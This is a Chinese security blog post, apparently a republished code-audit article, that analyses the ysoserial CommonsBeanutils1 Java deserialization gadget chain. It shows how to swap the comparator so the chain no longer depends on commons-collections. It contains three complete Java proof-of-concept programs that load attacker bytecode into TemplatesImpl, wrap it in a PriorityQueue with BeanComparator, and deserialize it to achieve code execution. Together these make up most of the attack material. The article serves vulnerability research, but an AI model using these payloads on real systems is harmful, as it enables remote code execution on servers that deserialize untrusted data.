『代码审计』ysoserial CB1 无依赖反序列化利用链分析

admin 2024年3月13日14:41:49评论9 views字数 8183阅读27分16秒阅读模式

点击蓝字,关注我们

日期:2024-03-11
作者:ICDAT
介绍:这篇文章主要是对 ysoserial CB1 的无依赖反序列化无利用链进行分析。

0x00 前言

我们上一篇文章分析了ysoserial中的cb1的反序列化利用链,其在shiro反序列化中很常见。今天我们来分析一下ysoserial CB1的无依赖反序列化利用链。

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

0x01 CB1 的依赖

我们在CB1利用链的环境搭建的时候提到了在maven中添加commons-beanutils时,自动导入了commons-collections:3.2.1包。而在后续的反序列化利用链构造过程中,哪里存在commons-collections包的调用呢?

我们直接来看上一篇文章我们自己写的payload:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB1 {    public static void main(String[] args) throws Exception {        byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));        Object templates = new TemplatesImpl();        //通过反射对私有变量进行赋值        Field tfactory = templates.getClass().getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        bytecodes.set(templates,new byte[][]{bytes});        Field name = templates.getClass().getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"123123");        BeanComparator comparator = new BeanComparator();        //初始化队列并添加元素        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);        priorityQueue.add(1);        priorityQueue.add(2);        Field iMethodName = comparator.getClass().getDeclaredField("property");        iMethodName.setAccessible(true);        iMethodName.set(comparator,"outputProperties");        Field queue = priorityQueue.getClass().getDeclaredField("queue");        queue.setAccessible(true);        queue.set(priorityQueue,new Object[]{templates,templates});        serialize(priorityQueue);        deserialize();    }    public static void serialize(Object obj) {        try {            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));            os.writeObject(obj);            os.close();        } catch (Exception e) {            e.printStackTrace();        }    }    public static void deserialize() {        try {            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));            is.readObject();        } catch (Exception e) {            e.printStackTrace();        }    }}

哎?打眼一看,哪有commons-collections:3.2.1包的引用呢?

这还得细说,主要还是在BeanComparator comparator = new BeanComparator();这里出了问题。

查看BeanComparator类的构造方法:

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

观察就会发现BeanComparator类偷懒,虽然存在无参构造,但是调用了第二个构造方法,而第二个构造方法又调用了第三个构造方法!总而言之,构造方法都是基于第三个构造方法。

commons-collections:你离不开我~BeanComparator:-_-!!

这里补充一些java知识。

在Java中,当给一个类创建了多个构造方法时,有时想在一个构造方法中调用另一个构造方法以减少代码量。这时可以使用this关键字来实现。

而第三个构造方法中,ComparableComparator类来自于commons-collections:3.2.1包。这样就破案了,都是构造方法惹的祸。

大家可能会有一个疑问,commons-beanutils不是自带commons-collections包吗?不需要无依赖啊。

这个锅得commons-collections自己来背,你自己没有点数吗?光CC1-CC7都多少条利用链了。所以在开发过程中,commons-collections包可能被删除或禁用了,所以我们需要在commons-beanutils找到无commons-collections依赖的反序列链。

0x02 BeanComparator的替代

前面提到了BeanComparator的构造方法都使用了commons-collections包,所以我们需要找到BeanComparator的替代品。

这个问题好像回到了CB1的构造的问题上:

反序列化利用链的尾部是通过调用TemplatesImplnewTransformer()方法执行任意代码,头部通过PriorityQueue类的readObject进入,进而执行siftDownUsingComparator()方法调用compare方法,最终通过PropertyUtils.getProperty()触发代码执行。

我们需要一个中间类进行连接,在CB1链中是BeanComparator。而现在的它的替代品需要和BeanComparator一样的功能。

  • 实现Serializable接口

  • 实现Comparator接口

0x03  CaseInsensitiveComparator

我们在找寻BeanComparator替代品的时候,发现BeanComparator确实很香,要是不存在commons-collections依赖就可以构造BeanComparator类就好了。

我们再好好看一下构造方法:

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

发现这里是存在判断的,我们让comparator不为null不就行了。

于是师傅们找到了CaseInsensitiveComparator

全局搜索CaseInsensitiveComparator,其在java.lang.String中。

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

CaseInsensitiveComparator符合我们前面提到的要求。

所以直接在CB1payload基础上,修改BeanComparator的构造方法即可。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB1Test1{    public static void main(String[] args) throws Exception {        byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));        Object templates = new TemplatesImpl();        //通过反射对私有变量进行赋值        Field tfactory = templates.getClass().getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        bytecodes.set(templates,new byte[][]{bytes});        Field name = templates.getClass().getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"123123");        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);        //初始化队列并添加元素        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);        priorityQueue.add(1);        priorityQueue.add(2);        Field iMethodName = comparator.getClass().getDeclaredField("property");        iMethodName.setAccessible(true);        iMethodName.set(comparator,"outputProperties");        Field queue = priorityQueue.getClass().getDeclaredField("queue");        queue.setAccessible(true);        queue.set(priorityQueue,new Object[]{templates,1});        serialize(priorityQueue);        deserialize();    }    public static void serialize(Object obj) {        try {            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));            os.writeObject(obj);            os.close();        } catch (Exception e) {            e.printStackTrace();        }    }    public static void deserialize() {        try {            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));            is.readObject();        } catch (Exception e) {            e.printStackTrace();        }    }}

直接运行,发现报错,提示参数类型错误。

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

我们进行调试,发现错误原因在BeanComparator类的internalCompare方法中。

因为我们在向priorityQueueadd元素的时候,没有设置property的值,在添加第二个元素的时候,触发compare方法,通过判断进入了internalCompare方法。

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

而其进行比较的类限制为String,这跟我们在初始化BeanComparator过程中我们传入的String.CASE_INSENSITIVE_ORDER有关。

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

CaseInsensitiveComparator类存在compare方法,限制了string类型。

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

我们在priorityQueue传入两个字符进行比较,成功弹窗。

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

0x04 java.util.Collections$ReverseComparator

根据前面的思路,师傅们还找到另一个替代品:ReverseComparator。其在java.util.Collections中。

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

同样符合我们的要求。

通过Collections.reverseOrder()可获取一个ReverseComparator对象。

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

同前面的一样,修改代码,运行成功弹窗。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Collections;import java.util.PriorityQueue;public class CB1Test2{    public static void main(String[] args) throws Exception {        byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));        Object templates = new TemplatesImpl();        //通过反射对私有变量进行赋值        Field tfactory = templates.getClass().getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        bytecodes.set(templates,new byte[][]{bytes});        Field name = templates.getClass().getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"123123");        BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());        //初始化队列并添加元素        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);        priorityQueue.add(1);        priorityQueue.add(1);        Field iMethodName = comparator.getClass().getDeclaredField("property");        iMethodName.setAccessible(true);        iMethodName.set(comparator,"outputProperties");        Field queue = priorityQueue.getClass().getDeclaredField("queue");        queue.setAccessible(true);        queue.set(priorityQueue,new Object[]{templates,1});        serialize(priorityQueue);        deserialize();    }    public static void serialize(Object obj) {        try {            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));            os.writeObject(obj);            os.close();        } catch (Exception e) {            e.printStackTrace();        }    }    public static void deserialize() {        try {            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));            is.readObject();        } catch (Exception e) {            e.printStackTrace();        }    }}
『代码审计』ysoserial CB1 无依赖反序列化利用链分析

注意上面的代码,发现我们往PriorityQueue类对象addInteger类型,因为ReverseComparatorcompare方法,未做类型限制。

『代码审计』ysoserial CB1 无依赖反序列化利用链分析

0x05 结语

本篇文章是对CB1无依赖反序列化链的分享,但是其实CB1链还存在其他变种,但涉及到了其他方向的序列化,等后续再慢慢学习。

往期回顾

『代码审计』ysoserial CB1 反序列化分析

『代码审计』ysoserial CC7 利用链分析

『代码审计』ysoserial Jdk7u21 反序列化漏洞分析

『代码审计』ysoserial CC3 和 CC4 反序列化分析

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CB1 无依赖反序列化利用链分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月13日14:41:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』ysoserial CB1 无依赖反序列化利用链分析http://cn-sec.com/archives/2567216.html

发表评论

匿名网友 填写信息